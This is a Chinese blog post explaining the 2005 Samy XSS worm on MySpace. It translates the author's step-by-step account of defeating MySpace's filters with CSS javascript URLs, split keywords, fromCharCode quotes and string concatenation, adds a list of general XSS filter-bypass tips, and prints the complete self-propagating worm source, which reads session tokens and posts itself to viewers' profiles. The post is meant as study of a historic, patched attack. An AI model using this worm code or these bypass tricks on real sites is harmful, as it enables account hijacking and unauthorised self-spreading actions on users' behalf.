zoukankan      html  css  js  c++  java
  • Samy XSS Worm之源码讲解

    说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫。正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则是第一个XSS的蠕虫。因此研究XSS技术最好了解一下这个只要浏览了profile就自动把对方加为好友并列为偶像的代码的实现技术。

    以下是根据对Samy Worm分析的文章进行的大致翻译:

    1)  Myspace阻塞了大量的tags,实际上他们仅允许<a>,<img>,<div>这些,或者还有少数其他标签如<embed>。<script>,<body>,onSomething,href等Javascript元素全都被禁用了。然而,有些浏览器如IE允许在CSS标签中插入javascript:
    <div style= "background:url('javascript:alert(1)')">
    2)    在div中不能使用引号,因为标签里面默认就有单引号和双引号了(<div id="variable">)。这使得编码JS有点困难,为了做到这一点,可以用一个表达式存储JS代码,然后通过变量引用使其执行
    <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
    3)  以上两步后,现在可以在单引号里面放入javascript代码了,但是mySpace对javascript单词进行了严格的过滤,根本无法使用. 幸运的是,有些浏览器会将"java script"解释为"javascript"(实际上javascript的语法说如果没有分号,解析引擎会判 断是否有完整的语境,因此空格,TAB应该也可以)
    <div id="mycode" expr="alert(hah!)" style="background:url('java
    script:eval(document.all.mycode.expr)')">
    4)现在单引号已经可以使用了,但是我们有时候可能会需要双引号.我们需要对引号进行转义,然而,mySpace去掉了所有的转义的引号,无论是单引号还是双引号.但我们还是有办法,我们可以将整数转为ASCII,这样就能生成引号了
    <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
    script:eval(document.all.mycode.expr)')">
    5)    为了将代码发到用正在看它的户空间中,还需要获得页面的source. 可以使用document.body.innerHTML获得页面到的source,但是mySpace这次又把"innerHTML"去掉了,只能通过把两个字符串拼接成一个字符串
    alert(eval('document.body.inne' + 'rHTML'))
    6)    是时候访问其他页面了,可以使用iframes,但是通常iframes并不是很有用,而且用户容易发现有其他的东西在执行
    因此使用Ajax制造客户端的HTTP GETS和POSTS. 老样子,mySpace去掉了"onreadystatechange", 而这个单词对于XML-HTTP请求来说是必要的,还是使用上面的方法
    eval('xmlhttp.onread' + 'ystatechange = callback');
    7)    现在可以通过GET请求获得他们当前的偶像列表,这里我们不需要移除任何人,只需把自己添加到已经存在的偶像列表中. 如果可以获得其他人的profile,就可以抓取他们的偶像并存储以备后用. 上面的都搞定之后,接下来的就简单了,除了我们还必须获得正则浏览profile的用户的friend ID,就像上面已经说到的,可以通过抓取页面的source获得这个.因此现在要搜索整个页面查找某个单词.但是搜索时还有一个问题,有可能会因为搜到包 含这个词的普通代码而结束查询,这个结果不是我们想看到的. 因此,还是要通过字符串的合并来解决这个问题
    var index = html.indexOf('frien' + 'dID');
    8)    到现在为止,我们已经获得了偶像列表. 首先,在addFriends页面通过XML-HTTP POST先把自己添加为好友. 但是不行,为什么呢?因为我们目前所处的是profile.myspace.com,而发送POST需要在www.myspace.com. 虽然XML-HTTP不允许GETs/POSTs给不同的域名,但这并不是问题. 我们可以访问www.myspace.com上的相同URL,在上面浏览profiles,重载这个域名上我们想发送POST的页面
    if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
    9)    现在我们已经成功的发送了POST,问题是尽管我们成功做到了这一点但是却没有添加friends.为什么?myspace在pre-POST页面生成 了一个随机的hash(例如:"你确定要加这个用户为好友吗"的页面). 如果这个hash没有和POST一起通过,POST就不成功. 为了绕过去,我们伪造了一个浏览器并在添加用户之前发送了一个GET请求,解析hash的来源,然后发送POST
    10)一旦POST完成了,我们想添加一个hero和用于传播的代码.该代码可能会运行到相同的页面,所以我们只要POST一次就够了.然而为了获得一个 新的hash,我们需要pre-GET一个页面. 但是首先我们得再次生成想要POST的代码.最简单的方法是抓取我们所在profile页面的源代码,解析出代码然后POST. 这确实管用,除了现在所有东西的排序混乱不堪. 呃,为了恰如其分的POST我们需要URL-encode/escape实际的代码. 奇怪的是,仍然不起作用.显然javascript的URL-encoding和escape()函数并没有转义所有我们需要的东西,因此需要手动地做一 些替换以进行必要的转义. 加上"but most of all, samy is my hero."进行混合,在后面加上所有的代码。现在我们就有了self-reproducing的代码了,一个蠕虫11)还有其他限制,如最大长度等问题,要求使用紧密的代码,没有空格,令人困惑的名字和可重用的函数等

    上述便是在mySpace修补了漏洞之后给出来的分析,视角是第一人称,原文地址:http://namb.la/popular/tech.html

    事 实上namb.la就是Samy的博客,为了让更多的人把自己加为好友,Samy显然做了不少工作,可以看出来第一:mySpace的过滤做得是很严谨 的,但是天下没有不透风的墙,只要是人写出来的代码就没有绝对的安全;第二,Samy的这个蠕虫其实是恶作剧性质的,它会给网络带来很大的负担,但幸运的 是他并没有用它来窃取用户信息,否则带来的危害远大于此

    总结一下,为了防止XSS攻击,现在的网站都做了防御措施,会对javascript,<script>,alert,"",'',onClick, onLoad等进行严格的过滤。因此,像书上介绍说onClick =

    function{alert('XSS')} 等这种用来发掘XSS漏洞的方法可能不太适用了。但是javascript非常灵活,再完备的XSS filter由于程序员的经历有限或者性能功能上的限制不一定能完全防止XSS,因此出现了CSP,Http-Only等应对跨站脚本的措施。

    在Samy的例子中,Samy利用了CSS中可以插入javascript这一条件,加上javascript对于字符串的灵活拼接等,成功的绕过了不少限制

    1.尝试在tags中使用javascript代码,如div,style等,也可以在利用标签中的expression进行利用,这里说的expression并不是上面的expr,而是在标签中类似于函数的东西

    2.单引号、双引号被过滤或无法使用可以通过变量赋值,整数转ASCII,html编码等手段绕过

    3.script等单词被过滤可以试下大小写如:JaVaScript,或者空格、换行符如:java  SCript,还可以进行字符串拼接:'jav'+'as'+'cript'当然还有像上面说到的编码等方法绕过

    4.alert平时较多的用来验证XSS的存在,实际上可能经常要用到另一个函数:eval(),执行里面的语句

    5.URL-encode/escape、XMLHTTPRequest等也要纳入考虑范围,尽管javascript及DOM对http header不可控,但是对于可控制的代码如GET请求的参数、POST的数据我们可以充分利用

    6.碰到代码长度限制可以让代码紧缩,去除空格,构造可重用函数,也可以使用代码压缩技术压缩代码,如果是对某一条语句进行了严格的长度限制如长度不超过28,就需要不断对代码进行精简了,可能要用到其他的一些技术,可以看一下luoluo的 突破XSS字符数量限制执行任意JS代码

    7.跨站技术丰富多彩,这里只根据上面的分析做了下小小的小结,更多的方法还需要自己去探索和掌握

    下面是整理排版后的Samy Worm的代码,取自:http://www.gnucitizen.org/blog/wormx/

    另外如果感兴趣的话也可以研究一下:百度XSS Worm,Yamanner Worm,前者是几年前百度空间感染的蠕虫,后者是针对yahoo的

    复制代码
    <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);
        var A=String.fromCharCode(39);
        
        function g()
        {
            var C;
            try
            {
                var D=document.body.createTextRange();
                C=D.htmlText
            }
            catch(e){}
    
            if(C)
            {
                return C
            }
            else
            {
                return eval('document.body.inne'+'rHTML')
            }
        }
    
        function getData(AU)
        {
            M=getFromURL(AU,'friendID');
            L=getFromURL(AU,'Mytoken')
        }
    
        function getQueryParams()
        {
            var E=document.location.search;
            var F=E.substring(1,E.length).split('&');
            var AS=new Array();
    
            for(var O=0;O<F.length;O++)
            {
                var I=F[O].split('=');
                AS[I[0]]=I[1]
            }
            return AS
        }
    
        var J;
        var AS=getQueryParams();
        var L=AS['Mytoken'];
        var M=AS['friendID'];
    
        if(location.hostname=='profile.myspace.com')
        {
            document.location='http://www.myspace.com'+location.pathname+location.search
        }
        else
        {
            if(!M)
            {
                getData(g())
            }
            main()
        }
    
        function getClientFID()
        {
            return findIn(g(),'up_launchIC( '+A,A)
        }
    
        function nothing() {}
    
        function paramsToString(AV)
        {
            var N=new String();
            var O=0;
            for(var P in AV)
            {
                if(O>0)
                {
                    N+='&'
                }
                var Q=escape(AV[P]);
    
                while(Q.indexOf('+')!=-1)
                {
                    Q=Q.replace('+','%2B')
                }
    
                while(Q.indexOf('&')!=-1)
                {
                    Q=Q.replace('&','%26')
                }
    
                N+=P+'='+Q;
                O++
            }
            return N
        }
    
        function httpSend(BH,BI,BJ,BK)
        {
            if(!J)
            {return false}
    
            eval('J.onr'+'eadystatechange=BI');
            J.open(BJ,BH,true);
            if(BJ=='POST')
            {
                J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
                J.setRequestHeader('Content-Length',BK.length)
            }
    
            J.send(BK);
            return true
        }
    
        function findIn(BF,BB,BC)
        {
            var R=BF.indexOf(BB)+BB.length;
            var S=BF.substring(R,R+1024);
            return S.substring(0,S.indexOf(BC))
        }
    
        function getHiddenParameter(BF,BG)
        {
            return findIn(BF,'name='+B+BG+B+' value='+B,B)
        }
    
        function getFromURL(BF,BG)
        {    
            var T;
            if(BG=='Mytoken')
            {T=B}
            else
            {T='&'}
    
            var U=BG+'=';
            var V=BF.indexOf(U)+U.length;
            var W=BF.substring(V,V+1024);
            var X=W.indexOf(T);
            var Y=W.substring(0,X);
            return Y
        }
    
        function getXMLObj()
        {
            var Z=false;
            if(window.XMLHttpRequest)
            {
                try
                {
                    Z=new XMLHttpRequest()
                }
                catch(e)
                {Z=false}
            }
    
            else if(window.ActiveXObject)
            {
                try{
                    Z=new ActiveXObject('Msxml2.XMLHTTP')
                }
                catch(e)
                {
                    try
                    {
                        Z=new ActiveXObject('Microsoft.XMLHTTP')
                    }
                    catch(e)
                    {
                        Z=false
                    }
                }
            }
    
            return Z
        }
    
        var AA=g();
        var AB=AA.indexOf('m'+'ycode');
        var AC=AA.substring(AB,AB+4096);
        var AD=AC.indexOf('D'+'IV');
        var AE=AC.substring(0,AD);
        var AF;
    
        if(AE)
        {
            AE=AE.replace('jav'+'a',A+'jav'+'a');
            AE=AE.replace('exp'+'r)','exp'+'r)'+A);
            AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
        }
    
        var AG;
    
        function getHome()
        {
            if(J.readyState!=4)
            {return}
    
            var AU=J.responseText;
            AG=findIn(AU,'P'+'rofileHeroes','</td>');
            AG=AG.substring(61,AG.length);
    
            if(AG.indexOf('samy')==-1)
            {
                if(AF)
                {
                    AG+=AF;
                    var AR=getFromURL(AU,'Mytoken');
                    var AS=new Array();
                    AS['interestLabel']='heroes';
                    AS['submit']='Preview';
                    AS['interest']=AG;
                    J=getXMLObj();
    
                    httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
                }
            }
        }
    
        function postHero()
        {
            if(J.readyState!=4)
            {return}
    
            var AU=J.responseText;
            var AR=getFromURL(AU,'Mytoken');
            var AS=new Array();AS['interestLabel']='heroes';
            AS['submit']='Submit';
            AS['interest']=AG;
            AS['hash']=getHiddenParameter(AU,'hash');
    
            httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
        }
    
        function main()
        {
            var AN=getClientFID();
            var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
            J=getXMLObj();
            httpSend(BH,getHome,'GET');
            xmlhttp2=getXMLObj();
    
            httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
        }
    
        function processxForm()
        {
            if(xmlhttp2.readyState!=4)
            {return}
    
            var AU=xmlhttp2.responseText;
            var AQ=getHiddenParameter(AU,'hashcode');
            var AR=getFromURL(AU,'Mytoken');
            var AS=new Array();
            AS['hashcode']=AQ;
            AS['friendID']='11851658';
            AS['submit']='Add to Friends';
    
            httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
        }
    
        function httpSend2(BH,BI,BJ,BK)
        {
            if(!xmlhttp2)
            {
            return false}eval('xmlhttp2.onr'+'eadystatechange=BI');
            xmlhttp2.open(BJ,BH,true);
    
            if(BJ=='POST')
            {
                xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
                xmlhttp2.setRequestHeader('Content-Length',BK.length)
            }
            
            xmlhttp2.send(BK);
            return true
        } "></DIV>
    复制代码
  • 相关阅读:
    angularjs的$on、$emit、$broadcast
    angularjs中的路由介绍详解 ui-route(转)
    ionic入门教程-ionic路由详解(state、route、resolve)(转)
    Cocos Creator 加载使用protobuf第三方库,因为加载顺序报错
    Cocos Creator 计时器错误 cc.Scheduler: Illegal target which doesn't have uuid or instanceId.
    Cocos Creator 构造函数传参警告 Can not instantiate CCClass 'Test' with arguments.
    Cocos Creator 对象池NodePool
    Cocos Creator 坐标系 (convertToWorldSpaceAR、convertToNodeSpaceAR)
    Cocos Creator 常驻节点addPersistRootNode
    Cocos Creator 配合Tiled地图的使用
  • 原文地址:https://www.cnblogs.com/milantgh/p/3655070.html
Copyright © 2011-2022 走看看